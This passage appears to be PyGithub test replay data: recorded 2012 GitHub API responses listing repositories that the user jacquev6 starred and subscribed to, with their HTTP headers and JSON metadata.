Python.","private":false,"id":1676748,"created_at":"2011-04-28T17:07:29Z"},{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:pjkersten/PlantUML.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/6e33170f0701d1d1d8dd57c8f95368ef?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6e33170f0701d1d1d8dd57c8f95368ef","url":"https://api.github.com/users/pjkersten","login":"pjkersten","id":771883},"language":"PHP","svn_url":"https://github.com/pjkersten/PlantUML","pushed_at":"2012-06-20T08:00:40Z","forks":3,"has_downloads":true,"updated_at":"2012-07-25T01:45:58Z","full_name":"pjkersten/PlantUML","git_url":"git://github.com/pjkersten/PlantUML.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":3,"homepage":"","clone_url":"https://github.com/pjkersten/PlantUML.git","watchers_count":7,"size":132,"fork":false,"html_url":"https://github.com/pjkersten/PlantUML","has_wiki":true,"name":"PlantUML","url":"https://api.github.com/repos/pjkersten/PlantUML","watchers":7,"open_issues_count":0,"description":"PlantUML plugin for MediaWiki","private":false,"id":1710505,"created_at":"2011-05-06T09:33:38Z"},{"open_issues":144,"has_issues":true,"ssh_url":"git@github.com:twitter/bootstrap.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/2f4a8254d032a8ec5e4c48d461e54fcc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"2f4a8254d032a8ec5e4c48d461e54fcc","url":"https://api.github.com/users/twitter","login":"twitter","id":50278},"language":"JavaScript","svn_url":"https://github.com/twitter/bootstrap","pushed_at":"2012-09-07T18:42:29Z","forks":8262,"has_downloads":true,"updated_at":"2012-09-07T23:17:13Z","full_name":"twitter/bootstrap","git_url":"git://github.com/twitter/bootstrap.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":8262,"homepage":"http://twitter.github.com/bootstrap","clone_url":"https://github.com/twitter/bootstrap.git","watchers_count":37009,"size":1384,"fork":false,"html_url":"https://github.com/twitter/bootstrap","has_wiki":true,"name":"bootstrap","url":"https://api.github.com/repos/twitter/bootstrap","watchers":37009,"open_issues_count":144,"description":"HTML, CSS, and JS toolkit from Twitter","private":false,"id":2126244,"created_at":"2011-07-29T21:19:00Z"},{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:stephenmcd/drawnby.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/ce5bfd8756e2fae0e800bbea413e86b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ce5bfd8756e2fae0e800bbea413e86b3","url":"https://api.github.com/users/stephenmcd","login":"stephenmcd","id":116385},"language":"JavaScript","svn_url":"https://github.com/stephenmcd/drawnby","pushed_at":"2012-07-30T13:36:35Z","forks":2,"has_downloads":true,"updated_at":"2012-09-06T12:27:16Z","full_name":"stephenmcd/drawnby","git_url":"git://github.com/stephenmcd/drawnby.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":2,"homepage":"http://drawnby.jupo.org","clone_url":"https://github.com/stephenmcd/drawnby.git","watchers_count":12,"size":384,"fork":false,"html_url":"https://github.com/stephenmcd/drawnby","has_wiki":true,"name":"drawnby","url":"https://api.github.com/repos/stephenmcd/drawnby","watchers":12,"open_issues_count":0,"description":"Drawn By is a collaborative real-time sketching app built for the 2011 Django Dash.","private":false,"id":2136154,"created_at":"2011-08-01T10:25:31Z"},{"open_issues":6,"has_issues":true,"ssh_url":"git@github.com:stephenmcd/django-socketio.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/ce5bfd8756e2fae0e800bbea413e86b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ce5bfd8756e2fae0e800bbea413e86b3","url":"https://api.github.com/users/stephenmcd","login":"stephenmcd","id":116385},"language":"JavaScript","svn_url":"https://github.com/stephenmcd/django-socketio","pushed_at":"2012-08-29T20:29:10Z","forks":39,"has_downloads":true,"updated_at":"2012-09-06T13:47:36Z","full_name":"stephenmcd/django-socketio","git_url":"git://github.com/stephenmcd/django-socketio.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":39,"homepage":"","clone_url":"https://github.com/stephenmcd/django-socketio.git","watchers_count":323,"size":180,"fork":false,"html_url":"https://github.com/stephenmcd/django-socketio","has_wiki":true,"name":"django-socketio","url":"https://api.github.com/repos/stephenmcd/django-socketio","watchers":323,"open_issues_count":6,"description":"A Django app providing the features required to use websockets with Django via Socket.IO","private":false,"id":2139136,"created_at":"2011-08-01T21:18:34Z"},{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:jstasiak/django-realtime.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/f69b46619a23b64a1184bd038bfa8de5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f69b46619a23b64a1184bd038bfa8de5","url":"https://api.github.com/users/jstasiak","login":"jstasiak","id":36209},"language":"JavaScript","svn_url":"https://github.com/jstasiak/django-realtime","pushed_at":"2012-04-21T16:22:25Z","forks":4,"has_downloads":true,"updated_at":"2012-08-21T15:09:28Z","full_name":"jstasiak/django-realtime","git_url":"git://github.com/jstasiak/django-realtime.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":4,"homepage":"","clone_url":"https://github.com/jstasiak/django-realtime.git","watchers_count":23,"size":132,"fork":false,"html_url":"https://github.com/jstasiak/django-realtime","has_wiki":true,"name":"django-realtime","url":"https://api.github.com/repos/jstasiak/django-realtime","watchers":23,"open_issues_count":0,"description":"Use this application to get Socket.IO support in your Django project and dive into real time web.","private":false,"id":2424738,"created_at":"2011-09-20T19:13:10Z"},{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:AcmeSystems/playground.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/af55714b265c4914c8bb8db49fc06da6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"af55714b265c4914c8bb8db49fc06da6","url":"https://api.github.com/users/AcmeSystems","login":"AcmeSystems","id":783524},"language":"Python","svn_url":"https://github.com/AcmeSystems/playground","pushed_at":"2012-09-06T16:51:16Z","forks":4,"has_downloads":true,"updated_at":"2012-09-06T16:51:18Z","full_name":"AcmeSystems/playground","git_url":"git://github.com/AcmeSystems/playground.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":4,"homepage":"http://www.acmesystems.it","clone_url":"https://github.com/AcmeSystems/playground.git","watchers_count":7,"size":212,"fork":false,"html_url":"https://github.com/AcmeSystems/playground","has_wiki":true,"name":"playground","url":"https://api.github.com/repos/AcmeSystems/playground","watchers":7,"open_issues_count":0,"description":"Small programming examples for the FOX Board G20","private":false,"id":2593052,"created_at":"2011-10-17T16:16:10Z"},{"open_issues":8,"has_issues":true,"ssh_url":"git@github.com:juuso/BozoCrack.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/d3231546d42d67974fc51956a3b627f4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d3231546d42d67974fc51956a3b627f4","url":"https://api.github.com/users/juuso","login":"juuso","id":614446},"language":"Ruby","svn_url":"https://github.com/juuso/BozoCrack","pushed_at":"2011-11-07T14:55:19Z","forks":36,"has_downloads":true,"updated_at":"2012-09-07T10:43:48Z","full_name":"juuso/BozoCrack","git_url":"git://github.com/juuso/BozoCrack.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":36,"homepage":"","clone_url":"https://github.com/juuso/BozoCrack.git","watchers_count":375,"size":140,"fork":false,"html_url":"https://github.com/juuso/BozoCrack","has_wiki":true,"name":"BozoCrack","url":"https://api.github.com/repos/juuso/BozoCrack","watchers":375,"open_issues_count":8,"description":"A silly & effective MD5 cracker in Ruby","private":false,"id":2726128,"created_at":"2011-11-07T13:02:08Z"},{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","login":"BeaverSoftware","id":1424031},"language":null,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","pushed_at":null,"forks":1,"has_downloads":true,"updated_at":"2012-02-16T21:51:15Z","full_name":"BeaverSoftware/FatherBeaver","git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","permissions":{"push":true,"pull":true,"admin":true},"mirror_url":null,"forks_count":1,"homepage":"","clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","watchers_count":2,"size":0,"fork":false,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","has_wiki":true,"name":"FatherBeaver","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","watchers":2,"open_issues_count":0,"description":"","private":false,"id":3400397,"created_at":"2012-02-09T19:32:21Z"}] https GET api.github.com None /users/jacquev6/starred?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '5925'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4981'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 23:24:22 GMT'), ('connection', 'keep-alive'), ('etag', '"94c163fa14b07651e050e97613c9aea5"'), ('link', '; rel="first", ; rel="prev"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 07 Sep 2012 23:29:28 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:joestein/amaunet.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/c5949edcf9e35a9aeb2584b6d4a58dcf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c5949edcf9e35a9aeb2584b6d4a58dcf","url":"https://api.github.com/users/joestein","login":"joestein","id":115151},"language":null,"svn_url":"https://github.com/joestein/amaunet","pushed_at":"2012-03-09T02:20:37Z","forks":1,"has_downloads":true,"updated_at":"2012-07-23T00:48:19Z","full_name":"joestein/amaunet","git_url":"git://github.com/joestein/amaunet.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":1,"homepage":"http://allthingshadoop.com/2010/12/16/simple-hadoop-streaming-tutorial-using-joins-and-keys-with-python/","clone_url":"https://github.com/joestein/amaunet.git","watchers_count":6,"size":84,"fork":false,"html_url":"https://github.com/joestein/amaunet","has_wiki":true,"name":"amaunet","url":"https://api.github.com/repos/joestein/amaunet","watchers":6,"open_issues_count":0,"description":"Python Streaming Example","private":false,"id":3666534,"created_at":"2012-03-09T02:03:25Z"},{"open_issues":94,"has_issues":false,"ssh_url":"git@github.com:django/django.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"fd542381031aa84dca86628ece84fc07","url":"https://api.github.com/users/django","login":"django","id":27804},"language":"Python","svn_url":"https://github.com/django/django","pushed_at":"2012-09-07T23:24:22Z","forks":840,"has_downloads":true,"updated_at":"2012-09-07T23:24:22Z","full_name":"django/django","git_url":"git://github.com/django/django.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":840,"homepage":"http://www.djangoproject.com/","clone_url":"https://github.com/django/django.git","watchers_count":4040,"size":10896,"fork":false,"html_url":"https://github.com/django/django","has_wiki":false,"name":"django","url":"https://api.github.com/repos/django/django","watchers":4040,"open_issues_count":94,"description":"The Web framework for perfectionists with deadlines.","private":false,"id":4164482,"created_at":"2012-04-28T02:47:18Z"},{"open_issues":0,"has_issues":false,"ssh_url":"git@github.com:jacquev6/django.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"language":"Python","svn_url":"https://github.com/jacquev6/django","pushed_at":"2012-04-28T04:05:15Z","forks":0,"has_downloads":true,"updated_at":"2012-06-09T10:37:50Z","full_name":"jacquev6/django","git_url":"git://github.com/jacquev6/django.git","permissions":{"push":true,"pull":true,"admin":true},"mirror_url":null,"forks_count":0,"homepage":"http://www.djangoproject.com/","clone_url":"https://github.com/jacquev6/django.git","watchers_count":2,"size":48476,"fork":true,"html_url":"https://github.com/jacquev6/django","has_wiki":false,"name":"django","url":"https://api.github.com/repos/jacquev6/django","watchers":2,"open_issues_count":0,"description":"The Web framework for perfectionists with deadlines. Now on GitHub.","private":false,"id":4166730,"created_at":"2012-04-28T11:06:20Z"},{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:gturri/moviePlanning.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/ba064e32f068e12bfc87d178179878a5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ba064e32f068e12bfc87d178179878a5","url":"https://api.github.com/users/gturri","login":"gturri","id":308601},"language":"Python","svn_url":"https://github.com/gturri/moviePlanning","pushed_at":"2012-06-28T08:29:46Z","forks":1,"has_downloads":true,"updated_at":"2012-06-28T08:29:47Z","full_name":"gturri/moviePlanning","git_url":"git://github.com/gturri/moviePlanning.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":1,"homepage":null,"clone_url":"https://github.com/gturri/moviePlanning.git","watchers_count":2,"size":340,"fork":false,"html_url":"https://github.com/gturri/moviePlanning","has_wiki":true,"name":"moviePlanning","url":"https://api.github.com/repos/gturri/moviePlanning","watchers":2,"open_issues_count":0,"description":"","private":false,"id":4461403,"created_at":"2012-05-27T11:16:53Z"},{"open_issues":2,"has_issues":true,"ssh_url":"git@github.com:facebook/folly.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/193c1a93276f729041fc875cf2a20773?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"193c1a93276f729041fc875cf2a20773","url":"https://api.github.com/users/facebook","login":"facebook","id":69631},"language":"C++","svn_url":"https://github.com/facebook/folly","pushed_at":"2012-08-26T18:14:39Z","forks":370,"has_downloads":true,"updated_at":"2012-09-07T22:17:59Z","full_name":"facebook/folly","git_url":"git://github.com/facebook/folly.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":370,"homepage":"https://groups.google.com/forum/?fromgroups#!forum/facebook-folly","clone_url":"https://github.com/facebook/folly.git","watchers_count":2419,"size":376,"fork":false,"html_url":"https://github.com/facebook/folly","has_wiki":true,"name":"folly","url":"https://api.github.com/repos/facebook/folly","watchers":2419,"open_issues_count":2,"description":"Folly is an open-source C++ library developed and used at Facebook.","private":false,"id":4524181,"created_at":"2012-06-01T20:49:04Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetSubscriptions.txt0000644000175100001660000010705314756101563025016 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/subscriptions {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4954'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '35676'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 23:16:45 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"400673f9e225530be2f6795b43862773"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 07 Sep 2012 23:49:10 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"master_branch":"master","forks":1,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"Vincent's Development Environment","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/ViDE.git","git_url":"git://github.com/jacquev6/ViDE.git","created_at":null,"has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":1496,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-06-08T11:05:51Z","full_name":"jacquev6/ViDE","name":"ViDE","url":"https://api.github.com/repos/jacquev6/ViDE","mirror_url":null,"ssh_url":"git@github.com:jacquev6/ViDE.git","html_url":"https://github.com/jacquev6/ViDE","private":false,"id":767343,"language":"Python","homepage":"","svn_url":"https://github.com/jacquev6/ViDE","pushed_at":"2012-06-08T11:05:51Z"},{"master_branch":"master","forks":1,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","created_at":"2012-08-07T03:23:22Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":112,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-07-27T02:32:15Z","full_name":"jacquev6/Boost.HierarchicalEnum","name":"Boost.HierarchicalEnum","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","mirror_url":null,"ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","private":false,"id":767382,"language":"C++","homepage":"","svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","pushed_at":"2011-11-27T14:00:23Z"},{"master_branch":"master","forks":1,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/QuadProgMm.git","git_url":"git://github.com/jacquev6/QuadProgMm.git","created_at":null,"has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":760,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-04-16T18:39:06Z","full_name":"jacquev6/QuadProgMm","name":"QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","mirror_url":null,"ssh_url":"git@github.com:jacquev6/QuadProgMm.git","html_url":"https://github.com/jacquev6/QuadProgMm","private":false,"id":767386,"language":"C++","homepage":"http://vincent-jacques.net/QuadProgMm","svn_url":"https://github.com/jacquev6/QuadProgMm","pushed_at":"2012-04-16T18:39:05Z"},{"master_branch":"master","forks":1,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/DrawSyntax.git","git_url":"git://github.com/jacquev6/DrawSyntax.git","created_at":"2012-08-07T03:23:17Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":1760,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-08-11T03:53:58Z","full_name":"jacquev6/DrawSyntax","name":"DrawSyntax","url":"https://api.github.com/repos/jacquev6/DrawSyntax","mirror_url":null,"ssh_url":"git@github.com:jacquev6/DrawSyntax.git","html_url":"https://github.com/jacquev6/DrawSyntax","private":false,"id":767392,"language":"C++","homepage":"http://vincent-jacques.net/DrawSyntax/","svn_url":"https://github.com/jacquev6/DrawSyntax","pushed_at":"2011-11-27T14:00:32Z"},{"master_branch":"master","forks":1,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"A tool to draw Turk's Head Knots. Try it online","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","git_url":"git://github.com/jacquev6/DrawTurksHead.git","created_at":"2012-08-07T03:23:13Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":3232,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-04-16T18:38:55Z","full_name":"jacquev6/DrawTurksHead","name":"DrawTurksHead","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","mirror_url":null,"ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","html_url":"https://github.com/jacquev6/DrawTurksHead","private":false,"id":767403,"language":"C++","homepage":"http://vincent-jacques.net/DrawTurksHead/","svn_url":"https://github.com/jacquev6/DrawTurksHead","pushed_at":"2012-04-16T18:38:54Z"},{"forks":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/PrivateStuff.git","git_url":"git://github.com/jacquev6/PrivateStuff.git","created_at":null,"has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":1252,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-09-07T19:22:17Z","full_name":"jacquev6/PrivateStuff","name":"PrivateStuff","url":"https://api.github.com/repos/jacquev6/PrivateStuff","mirror_url":null,"ssh_url":"git@github.com:jacquev6/PrivateStuff.git","html_url":"https://github.com/jacquev6/PrivateStuff","private":true,"id":1592290,"language":"Python","homepage":"","svn_url":"https://github.com/jacquev6/PrivateStuff","pushed_at":"2012-09-07T19:21:59Z"},{"forks":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","created_at":null,"has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":164,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-06-30T09:29:07Z","full_name":"jacquev6/vincent-jacques.net","name":"vincent-jacques.net","url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","mirror_url":null,"ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","html_url":"https://github.com/jacquev6/vincent-jacques.net","private":true,"id":1986874,"language":"Python","homepage":"vincent-jacques.net","svn_url":"https://github.com/jacquev6/vincent-jacques.net","pushed_at":"2012-06-30T09:29:07Z"},{"forks":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/Hacking.git","git_url":"git://github.com/jacquev6/Hacking.git","created_at":"2012-08-07T03:23:13Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":148,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-09-07T20:42:54Z","full_name":"jacquev6/Hacking","name":"Hacking","url":"https://api.github.com/repos/jacquev6/Hacking","mirror_url":null,"ssh_url":"git@github.com:jacquev6/Hacking.git","html_url":"https://github.com/jacquev6/Hacking","private":true,"id":1988081,"language":"Python","homepage":"","svn_url":"https://github.com/jacquev6/Hacking","pushed_at":"2012-09-07T20:42:54Z"},{"forks":1,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"Caesar IV: anticipate your city","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/C4Planner.git","git_url":"git://github.com/jacquev6/C4Planner.git","created_at":"2012-08-07T03:23:20Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":4716,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-07-27T04:29:14Z","full_name":"jacquev6/C4Planner","name":"C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","mirror_url":null,"ssh_url":"git@github.com:jacquev6/C4Planner.git","html_url":"https://github.com/jacquev6/C4Planner","private":false,"id":2260441,"language":"Python","homepage":"http://vincent-jacques.net/C4Planner","svn_url":"https://github.com/jacquev6/C4Planner","pushed_at":"2011-11-27T20:51:06Z"},{"forks":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/developer.github.com.git","git_url":"git://github.com/jacquev6/developer.github.com.git","created_at":null,"has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":184,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-06-05T11:35:40Z","full_name":"jacquev6/developer.github.com","name":"developer.github.com","url":"https://api.github.com/repos/jacquev6/developer.github.com","mirror_url":null,"ssh_url":"git@github.com:jacquev6/developer.github.com.git","html_url":"https://github.com/jacquev6/developer.github.com","private":false,"id":3361136,"language":"Ruby","homepage":"","svn_url":"https://github.com/jacquev6/developer.github.com","pushed_at":"2012-06-05T11:35:40Z"},{"forks":16,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":true,"admin":true},"forks_count":16,"clone_url":"https://github.com/jacquev6/PyGithub.git","git_url":"git://github.com/jacquev6/PyGithub.git","created_at":null,"has_wiki":false,"watchers_count":67,"watchers":67,"open_issues_count":13,"size":228,"fork":false,"open_issues":13,"has_issues":true,"updated_at":"2012-09-07T23:16:45Z","full_name":"jacquev6/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"ssh_url":"git@github.com:jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","private":false,"id":3544490,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-09-07T23:16:45Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"b2e096f2c016d8dc168a3a5e6281b07a","login":"abersager","avatar_url":"https://secure.gravatar.com/avatar/b2e096f2c016d8dc168a3a5e6281b07a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/abersager","id":1328351},"description":"Python library implementing the full Github API 